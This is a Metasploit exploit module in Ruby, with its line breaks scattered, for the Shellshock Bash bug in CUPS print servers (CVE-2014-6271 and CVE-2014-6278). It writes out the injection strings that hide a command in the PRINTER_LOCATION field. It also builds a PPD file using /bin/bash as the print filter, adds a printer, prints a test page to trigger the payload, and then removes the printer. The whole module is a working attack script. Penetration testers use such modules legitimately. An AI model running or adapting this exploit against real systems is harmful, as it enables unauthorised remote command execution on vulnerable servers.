##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit4 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'CUPS Filter Bash Environment Variable Code Injection'
,
'Description'
=> %q{
This
module
exploits a post-auth code injection
in
specially crafted
environment variables
in
Bash, specifically targeting
CUPS
filters
through the
PRINTER_INFO
and
PRINTER_LOCATION
variables by default.
},
'Author'
=> [
'Stephane Chazelas'
,
# Vulnerability discovery
'lcamtuf'
,
# CVE-2014-6278
'Brendan Coles <bcoles[at]gmail.com>'
# msf
],
'References'
=> [
[
'CVE'
,
'2014-6271'
],
[
'CVE'
,
'2014-6278'
],
[
'EDB'
,
'34765'
],
],
'Privileged'
=>
false
,
'Arch'
=>
ARCH_CMD
,
'Platform'
=>
'unix'
,
'Payload'
=>
{
'Space'
=>
1024
,
'BadChars'
=>
"\x00\x0A\x0D"
,
'DisableNops'
=>
true
},
'Compat'
=>
{
'PayloadType'
=>
'cmd'
,
'RequiredCmd'
=>
'generic bash awk ruby'
},
# Tested:
# - CUPS version 1.4.3 on Ubuntu 10.04 (x86)
# - CUPS version 1.5.3 on Debian 7 (x64)
# - CUPS version 1.6.2 on Fedora 19 (x64)
# - CUPS version 1.7.2 on Ubuntu 14.04 (x64)
'Targets'
=> [[
'Automatic Targeting'
, {
'auto'
=>
true
} ]],
'DefaultTarget'
=>
0
,
'DisclosureDate'
=>
'Sep 24 2014'
,
'License'
=>
MSF_LICENSE
))
register_options([
Opt::
RPORT
(
631
),
OptBool.
new
(
'SSL'
, [
true
,
'Use SSL'
,
true
]),
OptString.
new
(
'USERNAME'
, [
true
,
'CUPS username'
,
'root'
]),
OptString.
new
(
'PASSWORD'
, [
true
,
'CUPS user password'
,
''
]),
OptEnum.
new
(
'CVE'
, [
true
,
'CVE to exploit'
,
'CVE-2014-6271'
, [
'CVE-2014-6271'
,
'CVE-2014-6278'
] ]),
OptString.
new
(
'RPATH'
, [
true
,
'Target PATH for binaries'
,
'/bin'
])
],
self
.
class
)
end
#
# CVE-2014-6271
#
def
cve_2014_6271(cmd)
%{() { :;}; $(
#{cmd}) & }
end
#
# CVE-2014-6278
#
def
cve_2014_6278(cmd)
%{() {
_
; } >
_
[$($())] { echo -e
"\r\n$(#{cmd})\r\n"
; }}
end
#
# Check credentials
#
def
check
@cookie
= rand_text_alphanumeric(
16
)
printer_name = rand_text_alphanumeric(
10
+ rand(
5
))
res = add_printer(printer_name,
''
)
if
!res
vprint_error(
"#{peer} - No response from host"
)
return
Exploit::CheckCode::Unknown
elsif
res.headers[
'Server'
] =~ /
CUPS
\/([\d\.]+)/
vprint_status(
"#{peer} - Found CUPS version #{$1}"
)
else
print_status(
"#{peer} - Target is not a CUPS web server"
)
return
Exploit::CheckCode::Safe
end
if
res.body =~ /Set Default Options
for
#{printer_name}/
vprint_good(
"#{peer} - Added printer successfully"
)
delete_printer(printer_name)
elsif
res.code ==
401
|| (res.code ==
426
&& datastore[
'SSL'
] ==
true
)
vprint_error(
"#{peer} - Authentication failed"
)
elsif
res.code ==
426
vprint_error(
"#{peer} - SSL required - set SSL true"
)
end
Exploit::CheckCode::Detected
end
#
# Exploit
#
def
exploit
@cookie
= rand_text_alphanumeric(
16
)
printer_name = rand_text_alphanumeric(
10
+ rand(
5
))
# Select target CVE
case
datastore[
'CVE'
]
when
'CVE-2014-6278'
cmd = cve_2014_6278(payload.raw)
else
cmd = cve_2014_6271(payload.raw)
end
# Add a printer containing the payload
# with a CUPS filter pointing to /bin/bash
res = add_printer(printer_name, cmd)
if
!res
fail_with(Failure::Unreachable,
"#{peer} - Could not add printer - Connection failed."
)
elsif
res.body =~ /Set Default Options
for
#{printer_name}/
print_good(
"#{peer} - Added printer successfully"
)
elsif
res.code ==
401
|| (res.code ==
426
&& datastore[
'SSL'
] ==
true
)
fail_with(Failure::NoAccess,
"#{peer} - Could not add printer - Authentication failed."
)
elsif
res.code ==
426
fail_with(Failure::BadConfig,
"#{peer} - Could not add printer - SSL required - set SSL true."
)
else
fail_with(Failure::Unknown,
"#{peer} - Could not add printer."
)
end
# Add a test page to the print queue.
# The print job triggers execution of the bash filter
# which executes the payload in the environment variables.
res = print_test_page(printer_name)
if
!res
fail_with(Failure::Unreachable,
"#{peer} - Could not add test page to print queue - Connection failed."
)
elsif
res.body =~ /Test page sent; job
ID
is/
vprint_good(
"#{peer} - Added test page to printer queue"
)
elsif
res.code ==
401
|| (res.code ==
426
&& datastore[
'SSL'
] ==
true
)
fail_with(Failure::NoAccess,
"#{peer} - Could not add test page to print queue - Authentication failed."
)
elsif
res.code ==
426
fail_with(Failure::BadConfig,
"#{peer} - Could not add test page to print queue - SSL required - set SSL true."
)
else
fail_with(Failure::Unknown,
"#{peer} - Could not add test page to print queue."
)
end
# Delete the printer
res = delete_printer(printer_name)
if
!res
fail_with(Failure::Unreachable,
"#{peer} - Could not delete printer - Connection failed."
)
elsif
res.body =~ /has been deleted successfully/
print_status(
"#{peer} - Deleted printer '#{printer_name}' successfully"
)
elsif
res.code ==
401
|| (res.code ==
426
&& datastore[
'SSL'
] ==
true
)
vprint_warning(
"#{peer} - Could not delete printer '#{printer_name}' - Authentication failed."
)
elsif
res.code ==
426
vprint_warning(
"#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true."
)
else
vprint_warning(
"#{peer} - Could not delete printer '#{printer_name}'"
)
end
end
#
# Add a printer to CUPS
#
def
add_printer(printer_name, cmd)
vprint_status(
"#{peer} - Adding new printer '#{printer_name}'"
)
ppd_name =
"#{rand_text_alphanumeric(10 + rand(5))}.ppd"
ppd_file = <<-
EOF
*
PPD
-Adobe:
"4.3"
*%==== General Information Keywords ========================
*FormatVersion:
"4.3"
*FileVersion:
"1.00"
*LanguageVersion: English
*LanguageEncoding: ISOLatin1
*PCFileName:
"#{ppd_name}"
*Manufacturer:
"Brother"
*Product:
"(Brother MFC-3820CN)"
*1284DeviceID:
"MFG:Brother;MDL:MFC-3820CN"
*cupsVersion:
1
.
1
*cupsManualCopies: False
*cupsFilter:
"application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash"
*cupsModelNumber:
#{rand(10) + 1}
*ModelName:
"Brother MFC-3820CN"
*ShortNickName:
"Brother MFC-3820CN"
*NickName:
"Brother MFC-3820CN CUPS v1.1"
*%
*%==== Basic Device Capabilities =============
*LanguageLevel:
"3"
*ColorDevice: True
*DefaultColorSpace:
RGB
*FileSystem: False
*Throughput:
"12"
*LandscapeOrientation: Plus90
*VariablePaperSize: False
*TTRasterizer: Type42
*FreeVM:
"1700000"
*DefaultOutputOrder: Reverse
*%==== Media Selection ======================
*OpenUI *PageSize/Media Size: PickOne
*OrderDependency:
18
AnySetup *PageSize
*DefaultPageSize: BrLetter
*PageSize BrA4/
A4
:
"<</PageSize[595 842]/ImagingBBox null>>setpagedevice"
*PageSize BrLetter/Letter:
"<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
EOF
pd = Rex::
MIME
::Message.
new
pd.add_part(ppd_file,
'application/octet-stream'
,
nil
, %(form-data; name=
"PPD_FILE"
; filename=
"#{ppd_name}"
))
pd.add_part(
"#{@cookie}"
,
nil
,
nil
, %(form-data; name=
"org.cups.sid"
))
pd.add_part(
"add-printer"
,
nil
,
nil
, %(form-data; name=
"OP"
))
pd.add_part(
"#{printer_name}"
,
nil
,
nil
, %(form-data; name=
"PRINTER_NAME"
))
pd.add_part(
""
,
nil
,
nil
, %(form-data; name=
"PRINTER_INFO"
))
# injectable
pd.add_part(
"#{cmd}"
,
nil
,
nil
, %(form-data; name=
"PRINTER_LOCATION"
)) # injectable
data = pd.to_s
data.strip!
send_request_cgi(
'method'
=>
'POST'
,
'uri'
=> normalize_uri(target_uri.path,
'admin'
),
'ctype'
=>
"multipart/form-data; boundary=#{pd.bound}"
,
'data'
=> data,
'cookie'
=>
"org.cups.sid=#{@cookie};"
,
'authorization'
=> basic_auth(datastore[
'USERNAME'
], datastore[
'PASSWORD'
])
)
end
#
# Queue a printer test page
#
def
print_test_page(printer_name)
vprint_status(
"#{peer} - Adding test page to printer queue"
)
send_request_cgi(
'method'
=>
'POST'
,
'uri'
=> normalize_uri(target_uri.path,
'printers'
, printer_name),
'authorization'
=> basic_auth(datastore[
'USERNAME'
], datastore[
'PASSWORD'
]),
'cookie'
=>
"org.cups.sid=#{@cookie}"
,
'vars_post'
=> {
'org.cups.sid'
=>
@cookie
,
'OP'
=>
'print-test-page'
}
)
end
#
# Delete a printer
#
def
delete_printer(printer_name)
vprint_status(
"#{peer} - Deleting printer '#{printer_name}'"
)
send_request_cgi(
'method'
=>
'POST'
,
'uri'
=> normalize_uri(target_uri.path,
'admin'
),
'authorization'
=> basic_auth(datastore[
'USERNAME'
], datastore[
'PASSWORD'
]),
'cookie'
=>
"org.cups.sid=#{@cookie}"
,
'vars_post'
=> {
'org.cups.sid'
=>
@cookie
,
'OP'
=>
'delete-printer'
,
'printer_name'
=> printer_name,
'confirm'
=>
'Delete Printer'
}
)
end
end